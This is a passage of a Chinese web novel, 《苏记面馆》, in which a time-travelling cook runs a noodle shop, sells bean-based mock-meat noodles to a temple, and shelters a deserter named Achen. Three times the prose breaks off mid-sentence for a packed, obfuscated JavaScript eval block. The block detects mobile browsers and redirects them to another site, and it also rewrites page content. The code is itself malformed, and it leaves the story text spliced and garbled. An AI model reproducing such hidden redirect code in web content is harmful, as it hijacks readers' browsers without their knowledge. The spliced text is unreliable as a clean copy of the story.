《苏记面馆》 2. 面条？冰粉？ “官爷快里面请。”苏平之恭恭敬敬把两个衙役迎了进来，倒上茶水。 “上面说有个越国的逃兵流窜到咱们云洲来了，让我们挨家挨户仔细盘问。” “你们两个最近见到什么可疑人士没有？” 苏平之身体绷紧了几分，苏芸立刻接过话。 “没有呢官爷，我们这小地方勉强靠街坊照顾才能度日，哪里会有什么可疑人士？”说着她凑上前递过去两个小荷包。 “您二位辛苦了，小店请二位喝茶。” 衙役拿过来掂了掂，满意地收进袖子，语气软了两分。 “没办法啊，上头命令三日内必须排查清楚。赶上咱哥俩倒霉，轮着了。” “行了，那我们去下家了，记住，遇到可疑的人立刻上报，一经查实赏银百两。” “好！一定一定！” 转身时，衙役朝帘子后面看了眼，那是柴房的方向。 他抬手指了下柴房的门。 “柴房的门别总关着，天干物燥的小心起火！” “好嘞，谢谢您的提醒！” 二人走后，苏芸立刻关上了门。 吱—— 许久没用过的门闩插上了，发出生涩的声响，苏芸转过身与苏平之对视一眼，二人脸色惨白，谁也没有说话。 衣服都湿了啊。 ———————————————————— 苏芸是被劈柴声吵醒的。 屋外传来一阵阵啪啪啪的声音，吵得她烦躁地抓了抓头发。 苏芸打着哈欠起床，开门看了眼天，还没完全亮呢。 “平之哥，你起……” 话说到一半就吞了回去。 劈柴的人是阿沉。 他半跪在地上，背着包袱，身上穿着来时那件带血的衣服。 看到苏芸他回头点了点头，然后继续用力劈柴。 等苏芸备好早餐时，柴房里的柴火已经全劈完了，码得整整齐齐堆放在那，一共六捆。 店里劈柴的活儿一直是苏平之干，苏芸起初没觉得这安排有问题，直到看见苏平之磨出满手的血泡，她才反应过来读书人干不来体力活儿。 苏平之力气小，拼尽全力一早上也就劈小半捆柴。他们只能省着点儿用，所以苏记面馆开业两个月，一共只有四道面食。 素面，阳春面，肉丝面和杂酱面。 都是最基础的快手面，做起来省事不费力。 曾经还有食客和她提议，吃得腻了，希望换些新花样。 苏芸心里苦笑，不是她做不来别的，是条件实在不允许呀。 她也想过请个帮工，可店里利润太薄，请了就赚不到钱了。 没办法，她和苏平之一个做面，一个跑堂算账外加劈柴，都累得不行，但也只能苦苦撑着。 眼下阿沉劈的柴，够用一个星期了，这几天苏平之手上的伤也能好好养养。 他们两个又留阿沉吃了顿早饭，苏芸做得阳春面，其中一碗没放葱花，味道不比昨天差。但这次三人吃得沉默，全程没人开口说话。 饭后苏芸把包袱拿给阿沉，阿沉接过来，发现比昨天鼓了许多。 他打开一看，里面有荷叶包的杂饼，还有竹筒装的糗，还有几小罐酱菜和昨天送出去的那锭金子。 阿沉抬起头打量这间面馆，它真的很小，才六张桌子，眼下都辰时了还没个食客进来吃饭。 这些干粮，估摸着要面馆三五天的利润，就这么给了个萍水相逢的陌生人。 阿沉拿起金子又放回苏平之手里，可这次，苏平之力气大了许多，把金子塞回他的包袱里死死按住。 “阿沉兄弟，这个我们不会要，你自己留着。” “我们这儿不富裕但也不差什么，可你独自出门在外，没钱傍身可万万不行。” “我们只能帮你到这儿了，你多保重。” 阿沉最后深深看了眼二人，抱了下拳，然后转身离去。 苏平之叹了口气，苏芸站在原地，眼看他的身影快要消失，她忽然跑了出去。 哒哒哒。 阿沉听到脚步声，停了下来，没回头。 身后的呼吸声急促，过了很久，直到街口的小贩的吆喝声响了起来，阿沉这才听见身后的人开口说道： “那个…柴房的锁坏了，所以，我会一直开着门的。” 苏芸说完扭头跑回了店里，阿沉站在青石板上，阳光把他的影子拉得老长，他回过头，看了一眼。 苏记面馆。 ———————————————————— 苏芸手里端着两个大大的托盘，每只托盘上面摆着四五碗冰粉，店里挤满了人，门口也围着一圈等待的食客。 放下托盘，苏芸喘了口气，看着拥挤的人群，还是有点儿不敢相信。 随手做的冰粉，卖疯了？ 夏天暑气重，她只不过随手做了个小玩意想着随缘卖卖，没想到一经推出受到了热烈的喜爱。 这玩意她现代家里的面馆也有，不过……卖得极差，一个暑假也就卖个十来份吧。 苏芸觉得自己真的搞不懂古代人的口味。 “老板！再来两份！” “老板！这边再加一份冰粉！” “哎，来啦！” 苏芸和苏平之忙成陀螺，这几日甚至面条都不做了，光卖起了冰粉。 午时刚过，苏芸做完了最后一单，她收起了门口限量供应的招牌，又耐着性子把没买到冰粉的食客哄走，这才松了一口气。 她回到灶房，端出最后两份冰粉，这是自留的。 “来，平之哥，吃点冰粉歇一歇。” “谢谢芸儿。” 苏平之拿过勺子挖了一口，鲜黄的甜水里卧着几颗圆润小巧的麻薯，上面还有两片柠檬，又冰又甜，心底的燥热一下子缓解许多。 “这冰粉可真好吃，芸儿你怎么做的？” “很简单，薜荔，糯米，黎朦子还有冰块。我从前在家乡那边常吃。” “冰块？”苏平之有些惊讶，“那东西不好搞，你哪里买的？” “买点硝石丢水里就行了。” 苏平之嘴巴张了半天。 苏芸晃了晃钱袋子，“可惜这玩意就是卖个新鲜，等过几日友商学了去就卖不动了。” 不过卖甜品是真的赚钱，成本十文，她卖二十，半天时间她就赚了一钱银子，这可比面条省事多了。 “要不，我去和他们沟通一下，请求他们别模仿咱们？” “不用不用。”苏芸摆摆手，能做出这种事的人哪有道德心？苏平之去说也没什么用，只会白挨一顿嘲讽，何苦啊。 “我还记得很多甜品方子，只不过从前没有精力做不出来罢了。” 以前面馆的柴火要省着用，现在柴房堆得很满，余火熬薜荔汁，刚刚好。 苏平之放下勺子，缩了缩手。他手掌上磨出血泡得地方已经好了，不像前些日子，一碰就蜇得刺疼。 “对不住啊芸儿，我有点没用，拖你后腿了。” 啊…… 苏芸这才意识到自己刚才那句话隐藏的意思，其实她没想埋怨苏平之，就是话赶话说到那儿了啊！ “没有没有你说什么呢？要不是你当初信任我拿钱开面馆，我们哪有今天啊。” “平之哥，我还要谢谢你愿意相信我这个外人。“ 苏平之摇摇头，语气很轻。“芸儿，我没拿你当过外人，你也是我的妹妹。” “我知道的，谢谢平之哥。”苏芸笑了下，舀了一颗麻薯送到嘴里，糯米粉的香味裹着酸甜的柠檬，心里甜津津的。 不过她心里在想，苏平之到底是个读书人，按现代来算也是大学生的年纪，他的手应该用来摸书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488202|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写字，不是在面馆里迎来送往劈柴干粗活的。 以后有机会得想个法子推他一下。 · 现在面馆里有三个人，苏平之，苏芸，还有个…影子。 影子和她不见面，只是每日烧水起锅时院子里会响起劈柴声，和她的锅盖声混在一起，啪啪啪，哒哒哒。 窗台的碗会悄悄变空，每天起来水缸里都装着打好的水，柴房里放着新的柴火。 苏芸拿起菜刀，抡了一下，又用手指弹了弹。 这是她新买的刀，花了一百文。 影子给她磨了刀，刀子现在锋利得很，切起肉来无比丝滑。 影子跟她不见面，但她感到很安心。 从前爸爸说过，刀是厨子最好的伙伴。 爸爸做了四十年厨子，六把刀，三十年。切菜切肉切鱼的，量身定制，六位数。 苏芸摸过那些刀，闪着漂亮的寒光，又有韧性，刀刃甚至可以折叠成一百八十度也不会断开。 老头当命根子似的，从不借人。苏芸作为亲闺女也只得到了摸摸看的许可。 什么？想借它做道菜？没门儿！ 不过父女俩有个约定，等老头退休后，会把刀传给她用。 苏芸盼星星盼月亮，眼看爸爸还有半年退休，结果一觉醒来，她人穿越了。 啪。 苏芸把刀重重拍在案板上，低下了头。 爸妈年过半百了，她又是独生女。在现代，她应该是死了吧？或者是植物人？躺在医院插满管子，让爸妈操心轮流守着，伺候着。 别别别。那还是死了更好。 她胡乱抹了把脸，手背上带出几道水痕。 她继续忙活着，把盐，料酒还有淀粉倒进碗里抓拌肉丝直到挂上浆，腌肉的间隙把锅烧热。 古代没有计时器，苏芸刚穿过来时没适应，有几回煮过了头，有几回又生了，后来她想了个办法。 “三九的梅花红了满山的雪，萧条枝影月牙照人眠～”（1） “……” 一首歌唱完，锅烧得正正好好，肉丝下锅小火慢炒，油烟呛得她咳嗽了几声，推开窗，香气从窗户飘到院子里，劈柴的声音慢了下来。 苏芸是北方人，东北菜调味重些，她原本很自信，觉得都是中华菜，没什么问题。 直到当初苏平之吃了几日，嘴角起了几颗大泡，她这才反应过来南方人真的吃不惯北方菜。 从小到大的饮食习惯，是刻在骨子里带一辈子的。 苏芸手腕抖了抖，两勺油变成了小半勺。 清淡，要清淡。她心里默念。 片刻后关火，出锅，倒进装好米饭的盘子里，三个大盘，其中一盘不放葱花。 苏芸把那盘放在窗台上，敲了敲窗框。 咚咚。 她收拾完灶房端着托盘准备出去时，窗台那盘已经空了，放着盘子的地方出现一小把野花。 白色的，有点儿皱巴巴的。 苏芸拿起野花，插进空着的粗陶碗里，添了些水，这才又端起托盘来到前院。 · “好吃好吃！”一盘盖浇饭苏平之吃得满嘴油，盘里干干净净的，一粒米都瞧不见。 苏芸这才放心下来。“那就好，那等冰粉做完过几日咱们上盖浇饭。” “不过这个做起来麻烦点，不如冰粉省事儿，我都有在想要不要多推推甜品卖，少做正餐。 “不麻烦。”苏平之认真地看着她，“甜品利润大，谁都能轻易学了去，这个才是你真正的手艺，是你的灵魂。” “苏芸，别丢下它。” 苏芸听到这话垂下眼，是啊，她当初为什么开面馆，就是因为她家三代传承的手艺，她放不下。 她摸了摸桌子，老木桌上面全是裂纹，但很结实，用了好久都没有坏掉。 “好，不丢。”她说。 3. 鸡排面，友商复刻抢生意！ “十文。” “五文。” “太低了姑娘，我这鸡可是整条街最好的呢！”卖鸡仔的阿婆撇撇嘴。 “那算了，平之哥，我们上别处瞧瞧。”苏芸拉过苏平之转身就走。 苏平之回头望了望那笼鸡仔，压低声音：“芸儿，你再考虑考虑？那婆婆的鸡确实不错，活蹦乱跳的，看着就精神。” “不买不买，她宰人呢。”苏芸慢悠悠走到旁边的糖人摊，买了三个，递一个给苏平之，另一个用油纸包好收进袖子里。 “可是其他家的我们都看过了，病怏怏的，一看就是瘟鸡。” “没事，我心里有数。”苏芸见苏平之还在回头看，拉了下他，“哎呀你别总是回头看，别看别看！” 苏芸拉着苏平之往前走，南镇的街道上人流不息，卖小吃的贩子吆喝着，扛货的脚夫穿梭其中，几个顽童追着戏班子的翻跟头小孩跑来跑去，前面还有个戏班子在街头卖艺。 看见人有些多，苏平之和苏芸换了个位置，自己站在外面那侧。 “走，看看那戏班子。”苏芸有点新鲜，带着苏平之挤到了人群前排。 这戏班子功底不错，那翻跟头的小孩连着翻了十来个，一看扎扎实实的童子功。苏芸听不大懂云洲话的唱词，但那戏子气息十足，身段柔软，连她这种外行也能看出有些本事。 “好！！好！” 一场唱完，人们纷纷鼓掌。小孩拿着托盘走向人群，苏芸和苏平之都摸出铜板放了进去。 “走，再去北街裁缝店逛逛。” 苏平之欲言又止，但还是乖乖跟上。眼见二人走得远了，那卖鸡的阿婆终于扯着嗓子喊道： “哎！姑娘！你等等啊！” 回到家，苏芸把十只鸡仔关进新盖的鸡舍，撒了把陈米。 五文钱，十只鸡仔。省下的钱正好买半升陈米。 “孩子们，你们要快快长大啊。” 苏芸摸了摸鸡仔毛绒绒的小脑袋，心里已经想好要用什么方式把它们下锅煮了。 两个月后。 苏芸用刀背轻拍鸡肉。啪啪啪，啪啪啪。 鸡胸肉在刀背下变成薄片，纹理被拍散但不碎，边缘微微透明。腌料是酱油、料酒、姜汁，比例是她自己调的。肉片在料汁里滚一圈，再裹上粗粒的山芋粉，入热油锅。油是菜籽油混了点猪油，冒起细密的泡，鸡肉片在里面翻卷，从粉白变成金黄。捞出沥油的瞬间，外壳还在滋滋作响。 煮熟的面条捞入碗中，根根细长匀称。她的刀功恢复了七八成。 炸鸡切条码在面上，两片焯过水的菠菜搁在旁边。最后一勺滚烫的面汤浇上去，香气噌地窜起来。 鸡排面。三十文一碗。 自从上回的冰粉滞销下架后，她又做出了热门菜品，这回是正餐！ 苏芸还在酱汁上下了功夫，糖醋汁用红糖和米醋熬，酸味在前甜味在后，挂勺不滴。 照烧汁是她反复试出来的，酱油和糖的比例调了七八次才满意，比前世用现成调料做的还香。 这两个调味汁特别下饭，她调出来的那一刻已经想好了会受到欢迎。 十几年的老厨子，这点事还是有信心的。 “姑娘，再来一份鸡排面！多浇汁！” “两份鸡排，照烧汁，这回可别上错了啊！” 苏芸从早拍到晚，啪啪啪啪啪啪，每天几百片鸡肉。手腕酸得不行，每天晚上都要热敷。 可到了数铜板的时候，她的手立刻好了。 她还能再拍几百片！ 她每次拍鸡肉，都会想起爸爸教她时的场景。 爸，你看。我做到了。 ——————————————————— 到了立秋时分，苏平之突然有些不好意思地找到苏芸，说自己要回家待两天，可不可以把面馆先关掉。 苏芸仔细问了一嘴，然后才知道，苏家父母的忌日快到了！ “你早说啊！”苏芸拍了下他的肩膀，然后告诉他自己也一起回去。 毕竟占了原主的身体，她虽然做不到当血包养一堆穷亲戚或者小屁孩当奶妈甘愿被吸血，但这点事还是没问题的，该做该做。 两日后苏芸和苏平之走在乡间的小路上。从云洲郊外的白水镇到他们苏家的村子还要半日的路程。 二人头上戴着柳圈，穿着素服。苏家父母的坟葬在村屋后山的一棵大树下，苏平之跪下来，仔仔细细地清理杂草，添培新土。 他做这些事的时候很安静，苏芸觉得他不是在修坟，是在跟父母说话。 绕坟三圈，贡品铺开。苏平之跪在地上开始磕头。 苏芸也想跪下，被他拦住了。 “芸儿，你为这个家做得已经够多了。”他的手按在她手臂上。“你不欠我们的。不欠我妹妹，也不欠我。 “爹娘如果还在，肯定会拦着你。这个礼数太重，他们受不起的。” 苏芸没再坚持。她帮苏平之把金元宝点起来焚烧，烧尽的灰尘沾到了坟墓上，苏平之又仔细擦拭干净。 二人坐在地上分食贡品。干拌面，小食，还有包好的蒸鸡蛋糕，都是她这两日准备好的。 “爹，娘。”他的声音很轻，“我和苏芸妹妹过得很好。家里的宅子翻新过了，面馆的生意好起来了。我现在能劈一捆柴了。” 他顿了顿。 “以后我们会越来越好。您二老安心闭眼。” 突然刮起一阵风，树上的叶子吹落下来，掉在苏平之身上。 苏芸站在他的旁边，她的身上没有叶子。 那天回去以后她做了一个梦。 梦里她没有穿越。她等到了爸爸退休那天，退休宴摆了十几桌，在酒楼大厅里挂着她爸的招牌菜照片。 她爸穿着那件洗得发白但熨得笔挺的厨师服，当着上百号员工的面，把那个刀箱递给她。 六把刀，整整齐齐嵌在绒布卡槽里。切菜的，切肉的，切鱼的，斩骨的，片皮的，雕花的。刀身被保养得发亮，跟新的一样。 “小芸，好好干，爸爸为你感到骄傲！” 然后她就醒了。 醒来之后苏芸感染了一场风寒。这风寒来得突然，当天夜里就开始发热咳嗽，第二天连床都起不来。 苏平之照顾了她两天，也被传染了。 苏记面馆停业的牌子挂了好几天，一直没摘。 但每天还是有人来，看见牌子挂得久了，食客们开始嘀咕。 “这家怎么了？” 不知道啊，不干了？” “啊！别啊！他们家的鸡排面我可还没吃够呢！我们家现在都不开火了，一日三顿就吃苏记面馆，都成习惯了。” 声音顺着风飘进院子，飘进苏芸的耳朵里。 她躺在床上翻了个身，脸埋进枕头里，枕枕头湿了一大块。 对于厨子来说，最幸福的不是赚了多少钱，得了什么奖，餐馆门口挂了几颗星。而是这些风雨无阻来吃饭的食客。从刚开始客客气气地点菜收钱，到后来一个眼神就知道吃什么面。日复一日，年复一年。 鼻子有些堵，苏芸吸了吸。 好像闻到一股糊味。 她又吸了吸。是糊味，没错。 糊味？！ 苏芸的身体突然注入了力量。她弹起身子跳下床，眼前阵阵发黑，脚下软得像踩在棉花上，但她还是踉踉跄跄往灶房跑。 妈呀，什么着了？ 然后她停在门口。 “你……” 阿沉蹲在地上，手里拿着个小蒲扇。小砂锅坐在炉子上，咕噜噜冒着热气。清苦的药味透过盖子飘出来，混着刚才那点糊味。 他蹲在那里认真地盯着小锅，打开盖子，盛了一小碗，递给苏芸。 “……喝。” “噢…谢谢啊！”这人还挺热心啊，苏芸想，接过来喝了一口。 噗！！ 我去！！ 她一口喷在地上，大张着嘴巴。 这是人喝的？？？苏芸脸都绿了，拿起瓢从水缸舀了瓢凉水，也顾不得有病不能喝凉水了！大口大口一饮而尽，嘴里苦味这才散去一些。 “我的妈呀这也太苦了太苦了！” “我拿去给平之哥，让他喝。”她转身就想走。 阿沉拉住了她的手臂。 “喝药。”他坚定地指了指小锅。 “治病。” 苏芸愣了一下。不知道是不是发热产生的幻觉，她觉得他的声音不再像锯木头了。 “不行啊太苦了，我真喝不下。”苏芸疯狂摇头，她宁可生病也不想喝着苦水，和这个比起来她在现代喝得藿香正气水都可以当饮料喝了！ “其实没事儿，这就一感冒，我躺两天就好了。” “不。” 阿沉声音很小，但语气还是那么坚定。 他站起来，拿起一个干净勺子，打开调料罐子挖了一勺白色的粉末。 “糖，药，一起。” 他把药碗端起来盛了一勺，另只手还拿着装糖的勺子。 …… 递到嘴边，苏芸不好再躲，她张开嘴，乖乖喝了那勺药。苦味炸开的瞬间，第二勺糖已经送到了嘴边。 她迅速张嘴，吃了。 …… 等会哥们儿？ 她握住了他的手腕，把剩下那半勺白色粉末喂到他嘴边。 阿沉张嘴吃下。 “……盐？” 那是共处几个月以来，苏芸第一次看见阿沉红了脸。 苏芸被他逗得笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488203|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来，然后又乐极生悲咳嗽上了。 “咳咳……” 就这样药罐子在炉子上咕噜噜煮了好几天。清苦的药香，从灶房飘到院子，又从院子飘进房间里。 苏芸的病好了。苏平之也好了。苏芸胖了一圈，脸颊上终于有了点肉。苏平之瘦了许多，下巴都尖了。 因为苏平之没有糖吃。 面馆重新开业那天，门口排了长队。老食客们都快等哭了。 “可算开门儿了，我还以为你家不干了呢！” “鸡排面海鲜面杂酱面阳春面各来一碗！！” “……” 食客们下单飞快，苏芸站在灶房里噼里啪啦飞速忙活，满血复活之后浑身是劲儿，她觉得自己能连干个三天三夜。 趁着送菜的功夫她往窗外看了一眼。 院子里的劈柴声已经停了，阿沉正蹲在鸡舍门口，清理鸡舍。 这日卖出很多面条，打烊后苏芸趴在柜台前开始算账，养病这几日亏了些钱，但更让她头疼的是另一件事。 隔壁的友商复刻了鸡排面。就连她特调的那几款酱汁，糖醋的，照烧的，也被复刻得分毫不差。 当初苏平之提过这事，她没放在心上。她对自己的手艺有信心。十几年的经验堆在那儿，做出的味道是别人随便就能复刻走的吗？ 是的。 苏芸有十几年经验。但那些开饭馆的，哪个不是老厨子掌勺？二三十年的经验，比她丰富得多。更别提她这十几年里，一半时间还在上学。 不得不承认，她的技术没人家强。 苏芸在纸上写写画画，一阵头疼。别看她是“面二代”，家里的连锁店从太爷爷那辈传下来，从鲁菜馆变成面馆，从爷爷手里传到她爸手里，她家的生意一直红火，但从没遇到过竞争对手这样挤压的窘境。 太爷爷从前是宫里的御厨。万寿宴，节令宴，除夕家宴，宗室宴，大大小小的宴席他都参与其中。太爷爷最擅长鲁菜，油焖大虾，糖醋鲤鱼，葱烧海参，爆炒腰花。凭一手精湛厨艺在宫中多年屹立不倒。 只可惜他才教了爷爷面食的基本功，人突然就没了。那些葱烧海参、糖醋鲤鱼的绝活，一样都没传下来。从此鲁菜在苏家彻底失传。苏家鲁菜馆变成了苏家面馆。 苏芸只学了怎么做面。没学会怎么经商。 眼下只能摸着石头过河。 好在她有两根“拐杖”。一根在柜台外面算账，一根在后院劈柴。一左一右，稳稳撑着，让她不至于倒下去。 慢慢来，总会有转机。苏芸这样安慰自己。 日子过得很快，转眼到了立冬，云洲落了大雪。 细碎的雪风吹在身上，冷得人直打哆嗦。城外的南福寺里也堆起了厚厚的积雪，几位和尚睡眼惺忪，慢吞吞地铲着雪。 “都快些吧，住持吩咐辰时前打扫干净，免得误了香客上香。” “师兄，这大雪天哪有人来。不如慢些打扫，还能偷闲一会儿。” 小和尚话音刚落，转过身，便看见远处有两道模糊的影子缓缓移动。 “哎哟，这一大早的可真是心诚啊。” 说话间那影子越来越近。一男一女。 男的身长八尺有余，露出的手背是酱色的，戴着斗笠看不清模样。身旁的女子素绿棉袍，一根竹簪挽起长发，模样颇为标致。 苏芸和阿沉提着食盒，踩着吱呀作响的积雪，一路走到南福寺内院。 住持听明来意，沉默了片刻。 “这位施主……想当典座？” “正是。” 苏芸把食盒打开。一碗碗面呈在住持面前。 “都是面馆的招牌。鸡排面，卤肉面，排骨面和阳春面。另一盒是些小吃，冰糕，米露，双皮奶，都是我们家独一份的特色。” 几名围观的小和尚几乎要流口水了。肉质的醇香与糖分的甜蜜混在一起，直往鼻子里钻。香积厨的典座师傅圆寂后，南福寺一直没能找到合适的人替上。寺里几百号人，招工告示贴了又贴，没哪个厨子愿意来。 因为这差事没什么油水可捞，几个月来，几位师兄只能熬些大锅粥，煮熟青菜，一碗碗素斋饭吃得味觉都快失灵了。 苏芸无意中在告示栏看到了招聘的信息，她知道自己等待的转机，来了。 住持看了看两份食盒。色香味俱全，摆满也有讲究，看得出眼前这年轻女娃是有些真本事的。 不过…… 住持叹了口气。 “这位施主，您准备的这些菜肴看得出是极好的。只不过出家人不沾荤腥。” 她起身打算送客。 “只怕是要浪费您的一番苦心了。” “住持且慢。” 苏芸突然开口。 住持的脚步停了下来。 4. 转机 “住持请看。” 苏芸拿起筷子，轻轻夹断一块鸡排。鸡排里透着淡黄，不是寻常肉类的白色质地。 “我自然知道出家人不吃荤腥。所以这些都是豆制品仿的。” 住持的目光落在那块“鸡排”上。豆腐她吃了大半辈子，白的，嫩的，一夹就碎，寡淡无味。这女娃怕不是多加了些佐料，把味道浸进豆腐里，做了个样子吧。 不过也算费了番心思，想到这住持接过筷子咬了一口。 咦？ 住持又咬了一口。 确实是豆腐，但跟她吃了大半辈子的豆腐完全不是一回事。质地润嫩，咬下去像咬在肉上，嚼几口豆香从舌根泛上来，和酱汁的咸鲜裹在一起，分不清哪一口是肉味哪一口是豆腐味。 “这真是奇了。”她把食盒往旁边推了推。“你们也尝尝。” 那几个小和尚馋得不行。住持一发话，几人七手八脚围了过来，食盒里的几碗仿荤面和甜食一扫而光。 “好吃！”方才在门口偷懒的小和尚嘴角挂着照烧汁，含糊不清道：“师兄你看，这位施主做的豆腐可比你做的好吃多了！” 而他口中的师兄正端着碗大快朵颐，压根顾不上回话。 苏芸冲阿沉眨了下眼。 这事儿，成了。 从寺庙出来时已近黄昏，雪已经停了。 苏芸和阿沉提着两个空食盒，怀里揣着一张度牒。 典座这差事每月三两白银，发的是实打实的银锭子，省了去钱庄兑换的手续费。而且南福寺有自己的口粮配额，除了寺里百余号和尚的口粮，连带他们三个也能沾点光，省下一笔伙食费。 三两银子不多，这活也累，每日还要早起一个时辰。 但它可以托底，以后再遇上雨雪天没生意，或是友商又复刻了什么菜，至少不用看着大幅度下滑的收入在那儿愁眉苦脸的。 走下山后，苏芸把食盒递给阿沉。 “你先回去。我要去趟茗香苑。” 阿沉看了眼天色，刚黑下来，乌云密布，兴许晚上还会下雨。 “晚上…危险。”他说。“一起。” “啊。”苏芸一拍脑门。 她还真忘了这回事，现代的时候夜生活过惯了，玩到凌晨叫个车送到家门口，哪里担心过治安问题。 面馆在南镇西街，往茗香苑去要经过一个大交叉口，另一头是临城进出的唯一通道，白天人流密集，到了晚上三教九流什么人都有，有点像火车站似乱。 茗香苑里人不算多。苏芸拉着阿沉上了二楼，找了个靠窗的位置，古代的夜景还是蛮好看的，街道两侧亮起灯笼，把这些古典的建筑照出一层温暖的光晕。 就是可惜晚上人少，缺了人气，有些冷清。 在楼下正中摆着张条桌，那是说书先生的场子。 苏芸从前只在收音机里听过这个，顿时来了兴趣。 她点了一壶雪水云绿和两份鲜花饼，阿沉摇摇头，把自己那份推到苏芸面前。 苏芸没再客气，她真有点饿了。她把饼蘸在茶水里，酥香的饼皮和清甜的茶水混合在一起，好吃还顶饿。 一阵掌声响起，说书人登场。 “书接上回！常胜将军率十万大军北征越国，临行前在送别宴上立下军令状，要将越贼杀个片甲不留！” 有人接话：“越国是哪里啊？” “这位客官问得好！” “要说这越国，在大云北边，是个游牧的民族，不过万余口人。他们住的是破毡帐，骑的是骆驼。说话时一开口啊，那声音……” “像是锯木头似的！” “哈哈哈哈哈哈”说书人模仿得惟妙惟肖，整个茶馆顿时笑成一片。苏芸正喝着茶呢，听到这里噗嗤一声茶水都喷出来了。 “哈哈哈哈，这也太……” 苏芸笑着，然后脑子里下意识回味了一遍说书人刚才的话。 她的笑容消失了。 她这才注意到，阿沉没有笑。 “阿沉……”她刚想说点什么，店小二不合时宜地过来了，后面还跟着个穿灰袍的老头，那人是茗香苑的行老，苏芸来这里就是为了找他。 她只好暂时把心思收回来，开始和行老谈起正事。 “李行老，我家开面馆的，现在需要三个帮工，要力气大些的。” 雇三个人是她来的路上就算好的。寺庙百来号人的大锅饭光靠她一个人做不来，阿沉要劈柴打水，苏平之管跑堂算账，都不是合适的人选。 配菜她自己能搞定，但面团不行，上百人的份量，至少得三个人来揉。 李行老点点头，然后不露痕迹地快速打量苏芸一眼，随后笑眯眯报了价。 每人每天二百文。 苏芸心里价是六十文，这个价格实在是过高了。 但她忽然觉得很累，她没心思再砍了。 “行，就这个价。”苏芸说。“明日辰时您把人带到苏记面馆吧。” 说完苏芸掏出六十文，按规矩付了牙钱。 李行老差点没绷住，他飞快地收起六十文牙钱，心里乐开了花儿。 这真是天上掉馅饼阿！除了手里的六十文，他明日还能在三个帮工那抽一笔，这单生意足足赚了二百四十文！ 哈哈！这女娃谈吐虽然成熟，但到底还是年纪太小，云洲话说得也别扭，肯定是外地来的。 哈哈，臭外地的！ 回去的路上她和阿沉没有说话，有几次她想开口，阿沉却回避了她的目光。 苏芸心里很乱。 之前衙门上门的时候苏芸已经知道了，阿沉是越国人。 但她完全不了解这个朝代的国家局势，只以为越国是什么破落穷地方，阿沉冒着风险偷渡出来的。 她以为他只是个难民，想在云国讨个安稳生活。 原来是逃兵啊…… 苏芸是穿越女，对这里没什么感情，也谈不上恨了。 ———————————————————— 翌日辰时，行老领着中人和十来个年轻汉子浩浩荡荡来了。估计是钱拿得多，他生怕这笔肥肉飞了，挑的全是强壮的年轻人。 苏芸仔细看了圈，然后选了其中三个。签字画押，剩余的由行老带走。 临走时那三人按规矩把分成交给李行老，他掂了掂，忽然指着其中一人。 “福子，你跟我出来。” 那名叫福子的看上去十七八岁，他跟着李行老来到街角。李行老摸出六十文钱递给福子。 “收回去，别和其他人说。” 福子愣住，连连摇头。“李叔，这不合规矩，我不能…… “什么规矩！老子就是规矩！”行老把铜钱塞进他手里，瞪着眼，“你家里还有生病的老母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488204|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等着钱用，跟我推辞个屁。收着！” 福子眼眶一酸，刚要道谢就被挥手打断。 “行了，快回去干活。多使些力气，别砸了老子的口碑。” ”哎！您放心！” 面馆里，苏芸浑然不知外面这段小插曲。她把面粉倒进盆里，开窝，加水，筷子搅成面絮。然后上手揉。干粉揉不进去就边揉边加水，直到揉出完整的面团。最后手沾清水，在面团上快速拍打。 啪啪啪啪啪。 面团变得光滑圆润。她把它放回盆里，盖上湿布。 “做完了。学会了吗？” 这活不难，但费力气，要手劲大，还要踏实不糊弄。苏芸给的工钱足，三人学得极认真，上手也快。灶房里很快响起此起彼伏的拍面声，啪啪啪，啪啪啪，和阿沉在院子里的劈柴声混在一起。 苏芸反复提醒他们勤洗手。吃进肚子里的东西，马虎不得。 今天时间紧，面馆挂了停业的牌子。苏平之和阿沉也来帮忙，五个人忙到午时前，终于做出了一百二十份仿荤面。出家人常年吃素口轻，她在保持鲜味的基础上刻意减淡了调料，怕他们吃得上火起泡。 做完之后五个人一起把热气腾腾的面条装入温盘，盖上盖子密封。七只巨大的朱漆食盒一字排开，苏芸又从柴房抱出一床旧棉被，阿沉已经有了新棉啦，旧的这床正好物尽其用。 苏芸用绳子扎了几个蝴蝶结把它们固定。 阿沉看了一眼。蹲下身，把蝴蝶结拆了。 他的手指飞快地绕了几圈，打了几个紧实的圆结。他用力拽了拽，绳子纹丝不动。 苏芸笑了一下。她和阿沉一起把食盒搬上雇好的牛车，目送他慢慢离去。 “阿沉一个人可以吗？”苏平之站在门口问。 ”可以的，那段路不算危险。”苏芸说。 